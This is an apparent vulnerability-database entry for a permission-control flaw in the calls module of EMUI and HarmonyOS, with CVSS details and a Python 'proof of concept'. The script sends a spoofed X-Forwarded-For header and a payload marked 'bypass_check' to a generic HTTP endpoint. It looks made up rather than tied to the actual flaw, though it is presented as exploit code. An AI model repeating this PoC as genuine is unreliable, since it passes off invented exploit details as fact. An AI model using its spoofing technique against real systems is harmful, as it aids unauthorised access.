Permission control vulnerability in calls. Impact: Successful exploitation of this vulnerability may affect availability.
CVSS Details
CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
EMUI < 13.0.0
HarmonyOS < 3.0.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-41960
# This script demonstrates the logic of the permission bypass vulnerability.
# Actual exploitation requires a vulnerable environment and user interaction.
import requests
def exploit_permission_bypass(target_url):
"""
Attempts to trigger the permission control vulnerability in the calls module.
"""
# The vulnerable endpoint handling calls
endpoint = f"{target_url}/api/v1/calls/manage"
# Malicious headers simulating a privileged context without proper auth
headers = {
"User-Agent": "PoC-Client/1.0",
"X-Forwarded-For": "127.0.0.1", # Attempting to bypass IP checks
"Content-Type": "application/json"
}
# Payload designed to bypass permission checks
payload = {
"action": "modify_call_state",
"target": "system_service",
"bypass_check": True,
"data": "malicious_configuration"
}
try:
print(f"[*] Sending payload to {endpoint}...")
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request accepted. Potential vulnerability confirmed.")
print(f"[+] Response: {response.text}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Error during request: {e}")
if __name__ == "__main__":
# Replace with actual target IP/Hostname for testing in a lab environment
target = "http://192.168.1.10"
exploit_permission_bypass(target)